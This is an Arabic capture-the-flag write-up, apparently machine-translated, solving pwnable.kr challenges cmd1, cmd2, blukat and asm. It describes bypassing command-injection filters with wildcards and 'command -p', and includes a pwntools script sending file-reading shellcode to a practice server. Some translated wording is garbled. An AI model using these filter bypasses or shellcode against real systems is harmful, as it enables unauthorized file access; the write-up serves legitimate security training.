في هذه المقالة ، سننظر في كيفية تجاوز مرشح خفيف الوزن ، وفهم كيفية كتابة غلاف باستخدام pwntools ، وكذلك حل العديد من المهام من الموقع
pwnable.kr .
المعلومات التنظيميةخاصةً لأولئك الذين يرغبون في تعلم شيء جديد وتطويره في أي من مجالات أمن المعلومات والحاسوب ، سأكتب وأتحدث عن الفئات التالية:
- PWN.
- التشفير (التشفير) ؛
- تقنيات الشبكات (الشبكة) ؛
- عكس (الهندسة العكسية) ؛
- إخفاء المعلومات (Stegano) ؛
- بحث واستغلال مواطن الضعف WEB.
بالإضافة إلى ذلك ، سوف أشارك تجربتي في الطب الشرعي للكمبيوتر ، وتحليل البرامج الضارة والبرامج الثابتة ، والهجمات على الشبكات اللاسلكية وشبكات المناطق المحلية ، وإجراء عمليات pentests واستغلال الكتابة.
حتى تتمكن من معرفة المقالات الجديدة والبرامج والمعلومات الأخرى ، أنشأت
قناة في Telegram ومجموعة لمناقشة أي مشاكل في مجال التصنيف الدولي للأمراض. أيضًا ، سأدرس شخصيًا طلباتك الشخصية وأسئلتك واقتراحاتك وتوصياتك
شخصيًا وسأجيب على الجميع .
يتم توفير جميع المعلومات للأغراض التعليمية فقط. لا يتحمل مؤلف هذا المستند أية مسؤولية عن أي ضرر يلحق بشخص ما نتيجة استخدام المعرفة والأساليب التي تم الحصول عليها نتيجة لدراسة هذا المستند.
حل المهمة cmd1
نضغط على الأيقونة بالتوقيع cmd1 ، وقيل لنا إننا بحاجة إلى الاتصال عبر SSH بضيف كلمة المرور.

عند الاتصال ، نرى الشعار المقابل.

دعونا نعرف ما هي الملفات الموجودة على الخادم ، وكذلك ما هي الحقوق التي لدينا.

لنلقِ نظرة على الكود المصدري.

كل شيء بسيط للغاية: نقوم بتمرير الأمر إلى البرنامج وتنفيذه على سطر الأوامر ، ولكن أولاً يقوم بتصفية الكلمات flag ، sh ، tmp. علم المرشحات ، ولكن ليس fla *.

نحن نسلم العلم ونحصل على نقطة أخرى.
حل المهمة cmd2
نضغط على الأيقونة بالتوقيع cmd2 ، وقيل لنا إننا نحتاج إلى الاتصال عبر SSH بكلمة مرور المهمة cmd1.

عند الاتصال ، نرى الشعار المقابل.

دعونا نعرف ما هي الملفات الموجودة على الخادم ، وكذلك ما هي الحقوق التي لدينا.

لنلقِ نظرة على الكود المصدري.

يبدو cmd1 ، ولكن عامل تصفية أكثر تعقيدًا. مرة أخرى تقوم بتصفية العلم ، ولكن لا تقوم بتصفية fla *. كل شيء معقد من خلال تصفية القطع المائلة ، ولكن يمكننا تنفيذ / bin / cat كقيادة الأوامر -p.

نحن نسلم العلم ونحصل على نقاط.
حل وظيفة بلوكات
نضغط على الأيقونة مع توقيع blukat ، وقيل لنا إننا بحاجة إلى الاتصال عبر SSH بضيف كلمة المرور.

عند الاتصال ، نرى الشعار المقابل.

دعونا نعرف ما هي الملفات الموجودة على الخادم ، وكذلك ما هي الحقوق التي لدينا.

لنلقِ نظرة على الكود المصدري.

لذلك ، يتم فتح ملف بكلمة مرور هنا ، يتشاجر مع المفتاح ويعرض علامة. فيما يلي مجرد ملف بكلمة مرور إذا قرأت ملفًا بكلمة مرور ، يعرض لنا نص الخطأ. في الواقع ، الخطأ هو كلمة المرور ... نظرًا لأن الملف قابل للقراءة من قبل المجموعة ، فنحن في هذه المجموعة.


نحن نسلم العلم ونحصل على ثلاث نقاط.
حل وظيفة asm
نضغط على الأيقونة بالتوقيع asm ، وقيل لنا إننا بحاجة إلى الاتصال عبر SSH بضيف كلمة المرور.

عند الاتصال ، نرى الشعار المقابل.

دعونا نعرف ما هي الملفات الموجودة على الخادم ، وكذلك ما هي الحقوق التي لدينا.

تركوا لنا التمهيدي ، وقراءته.

لذلك ، يجب أن نرسل رمز القشرة الذي يقرأ ملف العلامة إلى المنفذ 9026.

ممتاز. نحن نستخدم pwntools ، ونحن نحدد المعلمات للاتصال والهندسة المعمارية.
from pwn import * r = remote('pwnable.kr', 9026) context.arch = 'amd64' r.interactive()
لتجميع الصدفة ، سنستخدم وحدة shellcraft. كيف ستعمل shellcode:
- نضع على المكدس خط - اسم الملف.
- افتح الملف بالاسم من أعلى الحزمة (سجل rsp).
- نظرًا لأن الدالة open ستُرجع واصف الملف المفتوح في سجل rax - المعلمة الأولى المراد قراءتها ، فسوف نقرأ 64 بايت على المكدس ، وبالتالي سيكون سجل rsp هو المعامل الثاني.
- نكتب الآن إلى الإخراج القياسي (واصف 1) علامة تقع في أعلى الحزمة (سجل rsp).
- نجمع قذيفة لدينا والسفينة.
from pwn import * r = remote('pwnable.kr', 9026) context.arch = 'amd64' payload = shellcraft.pushstr('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong') payload += shellcraft.open('rsp', 0, 0) payload += shellcraft.read('rax', 'rsp', 64) payload += shellcraft.write(1,'rsp', 64) shell = asm(payload) r.send(shell) r.interactive()

نسلم العلم ونحصل على 6 نقاط. نراكم في المقالة التالية ، حيث سننظر في الثغرة المعقدة Use After Free.
نحن في قناة برقية:
قناة في برقية .